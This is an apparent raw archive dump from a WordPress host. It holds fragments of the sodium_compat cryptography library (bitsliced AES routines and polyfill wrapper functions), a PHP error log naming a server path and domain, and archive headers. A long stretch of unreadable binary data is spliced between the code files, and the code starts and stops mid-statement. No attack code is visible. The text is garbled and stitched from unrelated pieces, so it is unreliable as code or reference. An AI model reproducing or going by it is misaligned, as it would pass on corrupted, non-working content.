->swap4(5, 7) ->swap8(0, 4) ->swap8(1, 5) ->swap8(2, 6) ->swap8(3, 7); } /** * @return self */ public function shiftRows() { for ($i = 0; $i < 8; ++$i) { $x = $this->values[$i] & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[$i] = ( ($x & 0x000000FF) | (($x & 0x0000FC00) >> 2) | (($x & 0x00000300) << 6) | (($x & 0x00F00000) >> 4) | (($x & 0x000F0000) << 4) | (($x & 0xC0000000) >> 6) | (($x & 0x3F000000) << 2) ) & ParagonIE_Sodium_Core_Util::U32_MAX; } return $this; } /** * @param int $x * @return int */ public static function rotr16($x) { return (($x << 16) & ParagonIE_Sodium_Core_Util::U32_MAX) | ($x >> 16); } /** * @return self */ public function mixColumns() { $q0 = $this->values[0]; $q1 = $this->values[1]; $q2 = $this->values[2]; $q3 = $this->values[3]; $q4 = $this->values[4]; $q5 = $this->values[5]; $q6 = $this->values[6]; $q7 = $this->values[7]; $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[0] = $q7 ^ $r7 ^ $r0 ^ self::rotr16($q0 ^ $r0); $this->values[1] = $q0 ^ $r0 ^ $q7 ^ $r7 ^ $r1 ^ self::rotr16($q1 ^ $r1); $this->values[2] = $q1 ^ $r1 ^ $r2 ^ self::rotr16($q2 ^ $r2); $this->values[3] = $q2 ^ $r2 ^ $q7 ^ $r7 ^ $r3 ^ self::rotr16($q3 ^ $r3); $this->values[4] = $q3 ^ $r3 ^ $q7 ^ $r7 ^ $r4 ^ self::rotr16($q4 ^ $r4); $this->values[5] = $q4 ^ $r4 ^ $r5 ^ self::rotr16($q5 ^ $r5); $this->values[6] = $q5 ^ $r5 ^ $r6 ^ self::rotr16($q6 ^ $r6); $this->values[7] = $q6 ^ $r6 ^ $r7 ^ self::rotr16($q7 ^ $r7); return $this; } /** * @return self */ public function inverseMixColumns() { $q0 = $this->values[0]; $q1 = $this->values[1]; $q2 = $this->values[2]; $q3 = $this->values[3]; $q4 = $this->values[4]; $q5 = $this->values[5]; $q6 = $this->values[6]; $q7 = $this->values[7]; $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[0] = $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r5 ^ $r7 ^ self::rotr16($q0 ^ $q5 ^ $q6 ^ $r0 ^ $r5); $this->values[1] = $q0 ^ $q5 ^ $r0 ^ $r1 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q5 ^ $q7 ^ $r1 ^ $r5 ^ $r6); $this->values[2] = $q0 ^ $q1 ^ $q6 ^ $r1 ^ $r2 ^ $r6 ^ $r7 ^ self::rotr16($q0 ^ $q2 ^ $q6 ^ $r2 ^ $r6 ^ $r7); $this->values[3] = $q0 ^ $q1 ^ $q2 ^ $q5 ^ $q6 ^ $r0 ^ $r2 ^ $r3 ^ $r5 ^ self::rotr16($q0 ^ $q1 ^ $q3 ^ $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r3 ^ $r5 ^ $r7); $this->values[4] = $q1 ^ $q2 ^ $q3 ^ $q5 ^ $r1 ^ $r3 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q2 ^ $q4 ^ $q5 ^ $q7 ^ $r1 ^ $r4 ^ $r5 ^ $r6); $this->values[5] = $q2 ^ $q3 ^ $q4 ^ $q6 ^ $r2 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q2 ^ $q3 ^ $q5 ^ $q6 ^ $r2 ^ $r5 ^ $r6 ^ $r7); $this->values[6] = $q3 ^ $q4 ^ $q5 ^ $q7 ^ $r3 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q3 ^ $q4 ^ $q6 ^ $q7 ^ $r3 ^ $r6 ^ $r7); $this->values[7] = $q4 ^ $q5 ^ $q6 ^ $r4 ^ $r6 ^ $r7 ^ self::rotr16($q4 ^ $q5 ^ $q7 ^ $r4 ^ $r7); return $this; } /** * @return self */ public function inverseShiftRows() { for ($i = 0; $i < 8; ++$i) { $x = $this->values[$i]; $this->values[$i] = ParagonIE_Sodium_Core_Util::U32_MAX & ( ($x & 0x000000FF) | (($x & 0x00003F00) << 2) | (($x & 0x0000C000) >> 6) | (($x & 0x000F0000) << 4) | (($x & 0x00F00000) >> 4) | (($x & 0x03000000) << 6) | (($x & 0xFC000000) >> 2) ); } return $this; } } PKj![Qץ error_lognu[[18-May-2025 06:12:10 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 [05-Jun-2025 01:08:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 [17-Jun-2025 09:39:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 [28-Jun-2025 09:09:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 [11-Jul-2025 10:12:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10 PKj![8ĤYYKeySchedule.phpnu[PKj![00 Expanded.phpnu[PKj![rS((  Block.phpnu[PKj![Qץ 2error_lognu[PK-8PKs#["pova/php84compat_const.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/lib/php84compat_const.php000064400000000621150552563060024641 0ustar00FRph XS$KR6}AHĥi8&~{O)ѝwc{a|M/38!CohϦ&,h߱oc#99ዣ'/7N~/ =,\ |~V~0=wdvesc{ߚEYۯ>2#qނ=c01 0Y]6)p#+=װ]w,bR׭ӎ1BhX"ˍ=f 5CpȰXùm运Nj z^P3~`w?7"U|VkK1"b9=# ;c[#Bzرl~N̏ny7e,6/YRCkmK dNWf<5OO/o>[=v^딧7՚:Uዃc&Je&jmJmVpB }DHԄ.'qA(MڰD!ΤPys쵚zig4;SFXtlwiM˫XTm}I/k~"^][4!"j=StXzm_폭jU}1*W V =GvJ9A˄:mu8dUj* jy~zۦnvf>|Q[VuщMouHk^]8k4/`~AvZu#h\M*CO=ЎOjmAl6 m.ZNfCOXq#һnRJ?MN(@IhV;_[d2Ť7ai鈷 Nfo:_ Q-Z/ɞ2*d溴9#ۡJDk]:E*NM Ս3t}I/L_'10{ S%rװBq65~Gtt/C0]0wupa~5<1bʬKAF8~{ē+D-́8֍vk8ι}<5@| [U}XmjQ`cq! q]4 /lO}o67 1vr?7iy,y oԸ y rcqcv  m72Y;9=vVƴ\^ܟ^4in˦vd$r+Lek@q*8dli6^ fXb1^CM`+(&Z (Q#H<擶2UӖzs Z@CYL.c y!_gi^ƨ,zTSlLvl1VdQjsضgTX~%X BoD[daT/MƊ0ٓj|5h/juJ1%8e=6;= @{Q9@ @\ aha2^~ml7[gPiO/ ;L,u27d8P^-}IWoMQ4Q;rb=S6Uʪb\ϤVQf[kzcD1Lu! DUռHRPk3GKTz37=d]/SziVdʞl-ɱ?=9FO*2fpd R$Y Hl dV$9V.VjbFSU6FJ8 +yAEͩ,]z!iVʞqڛןVMjd1آYpk&*WLlF;)`4qɪo`pVOgf| WDlYHd,JMiHKg^^a#Y4QP.l-Pbnv`kPYWKiIҋ;أz"te.3q0{Ð 7idȪݘe|Jcy0BN /bvvY1'#EJ2"!QJeZҞ9 yb;Xg7=iQ-#osBB\H[:UΒr(g,T2D(/ iuda'⎮*Q.FhLg]&hHx8L9RdUK-- Z8f͘|9AWnI61! );'#ę>$"U/!S']R?0ŷZ c)u .k;ԟ(GKOMyBG҂dڇꙎ e! @2OJ㊨ g \؃*,cDqBbIq4YEqڈ%R}"|Bc*Ťїsd* )OV#t9a,gQgOx@[Dl(>WAd!iF۵ )]7I5AnUi-eFI;x?MZQQ$$  e0%,`ۡɐRzDpO)fU}%9X,nC)T+`^Z\ƪ>zacv\{{Kѯd#,LUotJ)&%O96p#vwBge[L#/Z]w犴2>y_>cXH)Kk bAgkeK5g-GDĭԁ*uF H'i!1cFvaW0SO\^W8T2['Kϣv&-رLZ\I r9Bͤ$l8/Q2wTVŭ[#9ܪr𿨭'() mZNyXcOmbL)e銆匽S&/Od\$Qr_3,mL˯buBY_K%ȑ0$C0NӠξ'c+v#$0\E)  1Bq.N{h,$vbbZo~!S!%+βaХchpSQэЬ<ِ2! CDL@MA^E$zF܀&Fh`u(|T6hk[]:% 3GNA.WVR0tCoa+D`k0L:I8>vEL7(*SZI y J *ڪ}Hgi钭n eῚӭJH>ot5%]Sd#՟o%b9ܥ&Z#4tym"ru}F_S1}+gcCjC\:X- "&!/Lh-yCd4m,$)/|,%(W8@1܍p"}#,\ <:p@=sq' d:#D8,:w*N0zAŢL@$5[Y1%.Dj9tf1HO! I/3(-gD^s2.oU[K::A\]s}b"D0s2ԚžKü_< 'zI?R >:b%WRhT]HлJ׫p.XI\z,h] >)d.d7K6U4_wh2&=WڞA[JBsRv\@xVqD!9=kYXPL=Kxh(B, J LJ3[̂;^(z,캧TĚ,E_xrW&c*Uu@$:hCW@w20X L_KLv1p2 pTE "sAB"n_IoQ:`ƅ\d4߶;-5 gso7nl^ES/” K -K/rۼjF.̏6ZI @xC:YRHhٱo+ tE*Th0"v*2]=hPFFA ud-"YD—sH=ԗ6iXs H)Vp(#3R`9Ü~'gF/p]0#Sυ-mϱj$4<[2k 3 oj`{Gh@uA';Ps60 !Ejgc% ;7l$a:5f.|e) TN#SOw3y* Y0C!ŕ(DNTχ2Ȱ +SWAPңgetMessage() === 'AES-256-GCM is not available')) { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_aead_aes256gcm_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_aes256gcm_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message, $additional_data, $nonce, $key); } } if (!is_callable('sodium_crypto_aead_aes256gcm_is_available')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available() * @return bool */ function sodium_crypto_aead_aes256gcm_is_available() { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available(); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_chacha20poly1305_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt( $ciphertext, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_chacha20poly1305_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_chacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_chacha20poly1305_ietf_decrypt( $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt( $message, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_chacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_chacha20poly1305_ietf_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen(); } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $additional_data, $nonce, $key, true ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_xchacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt( $message, $additional_data, $nonce, $key, true ); } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_xchacha20poly1305_ietf_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen(); } } if (!is_callable('sodium_crypto_auth')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_auth( $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth($message, $key); } } if (!is_callable('sodium_crypto_auth_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_keygen() * @return string * @throws Exception */ function sodium_crypto_auth_keygen() { return ParagonIE_Sodium_Compat::crypto_auth_keygen(); } } if (!is_callable('sodium_crypto_auth_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_verify() * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_auth_verify( $mac, $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message, $key); } } if (!is_callable('sodium_crypto_box')) { /** * @see ParagonIE_Sodium_Compat::crypto_box() * @param string $message * @param string $nonce * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $key_pair); } } if (!is_callable('sodium_crypto_box_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_keypair() { return ParagonIE_Sodium_Compat::crypto_box_keypair(); } } if (!is_callable('sodium_crypto_box_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey() * @param string $secret_key * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secret_key, $public_key ) { return ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($secret_key, $public_key); } } if (!is_callable('sodium_crypto_box_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_open() * @param string $ciphertext * @param string $nonce * @param string $key_pair * @return string|bool */ function sodium_crypto_box_open( $ciphertext, $nonce, #[\SensitiveParameter] $key_pair ) { try { return ParagonIE_Sodium_Compat::crypto_box_open($ciphertext, $nonce, $key_pair); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_box_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box_publickey($key_pair); } } if (!is_callable('sodium_crypto_box_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_publickey_from_secretkey( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($secret_key); } } if (!is_callable('sodium_crypto_box_seal')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal() * @param string $message * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seal( #[\SensitiveParameter] $message, $public_key ) { return ParagonIE_Sodium_Compat::crypto_box_seal($message, $public_key); } } if (!is_callable('sodium_crypto_box_seal_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal_open() * @param string $message * @param string $key_pair * @return string|bool * @throws SodiumException */ function sodium_crypto_box_seal_open( $message, #[\SensitiveParameter] $key_pair ) { try { return ParagonIE_Sodium_Compat::crypto_box_seal_open($message, $key_pair); } catch (SodiumException $ex) { if ($ex->getMessage() === 'Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.') { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_box_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_secretkey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box_secretkey($key_pair); } } if (!is_callable('sodium_crypto_box_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_box_seed_keypair($seed); } } if (!is_callable('sodium_crypto_generichash')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash() * @param string $message * @param string|null $key * @param int $length * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash( $message, #[\SensitiveParameter] $key = null, $length = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash($message, $key, $length); } } if (!is_callable('sodium_crypto_generichash_final')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_final() * @param string|null $state * @param int $outputLength * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_final(&$state, $outputLength = 32) { return ParagonIE_Sodium_Compat::crypto_generichash_final($state, $outputLength); } } if (!is_callable('sodium_crypto_generichash_init')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_init() * @param string|null $key * @param int $length * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_init( #[\SensitiveParameter] $key = null, $length = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash_init($key, $length); } } if (!is_callable('sodium_crypto_generichash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_keygen() * @return string * @throws Exception */ function sodium_crypto_generichash_keygen() { return ParagonIE_Sodium_Compat::crypto_generichash_keygen(); } } if (!is_callable('sodium_crypto_generichash_update')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_update() * @param string|null $state * @param string $message * @return void * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_update( #[\SensitiveParameter] &$state, $message = '' ) { ParagonIE_Sodium_Compat::crypto_generichash_update($state, $message); } } if (!is_callable('sodium_crypto_kdf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_keygen() * @return string * @throws Exception */ function sodium_crypto_kdf_keygen() { return ParagonIE_Sodium_Compat::crypto_kdf_keygen(); } } if (!is_callable('sodium_crypto_kdf_derive_from_key')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key() * @param int $subkey_length * @param int $subkey_id * @param string $context * @param string $key * @return string * @throws Exception */ function sodium_crypto_kdf_derive_from_key( $subkey_length, $subkey_id, $context, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key( $subkey_length, $subkey_id, $context, $key ); } } if (!is_callable('sodium_crypto_kx')) { /** * @see ParagonIE_Sodium_Compat::crypto_kx() * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_kx( #[\SensitiveParameter] $my_secret, $their_public, $client_public, $server_public ) { return ParagonIE_Sodium_Compat::crypto_kx( $my_secret, $their_public, $client_public, $server_public ); } } if (!is_callable('sodium_crypto_kx_seed_keypair')) { /** * @param string $seed * @return string * @throws Exception */ function sodium_crypto_kx_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_kx_seed_keypair($seed); } } if (!is_callable('sodium_crypto_kx_keypair')) { /** * @return string * @throws Exception */ function sodium_crypto_kx_keypair() { return ParagonIE_Sodium_Compat::crypto_kx_keypair(); } } if (!is_callable('sodium_crypto_kx_client_session_keys')) { /** * @param string $client_key_pair * @param string $server_key * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_client_session_keys( #[\SensitiveParameter] $client_key_pair, $server_key ) { return ParagonIE_Sodium_Compat::crypto_kx_client_session_keys($client_key_pair, $server_key); } } if (!is_callable('sodium_crypto_kx_server_session_keys')) { /** * @param string $server_key_pair * @param string $client_key * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_server_session_keys( #[\SensitiveParameter] $server_key_pair, $client_key ) { return ParagonIE_Sodium_Compat::crypto_kx_server_session_keys($server_key_pair, $client_key); } } if (!is_callable('sodium_crypto_kx_secretkey')) { /** * @param string $key_pair * @return string * @throws Exception */ function sodium_crypto_kx_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_kx_secretkey($key_pair); } } if (!is_callable('sodium_crypto_kx_publickey')) { /** * @param string $key_pair * @return string * @throws Exception */ function sodium_crypto_kx_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_kx_publickey($key_pair); } } if (!is_callable('sodium_crypto_pwhash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash() * @param int $length * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @param int|null $algo * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash( $length, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit, $algo = null ) { return ParagonIE_Sodium_Compat::crypto_pwhash($length, $passwd, $salt, $opslimit, $memlimit, $algo); } } if (!is_callable('sodium_crypto_pwhash_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_needs_rehash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash() * @param string $hash * @param int $opslimit * @param int $memlimit * @return bool * * @throws SodiumException */ function sodium_crypto_pwhash_str_needs_rehash( #[\SensitiveParameter] $hash, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256() * @param int $length * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256( $length, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256( $length, $passwd, $salt, $opslimit, $memlimit ); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_scalarmult')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult() * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult( #[\SensitiveParameter] $n, $p ) { return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p); } } if (!is_callable('sodium_crypto_scalarmult_base')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base() * @param string $n * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult_base( #[\SensitiveParameter] $n ) { return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n); } } if 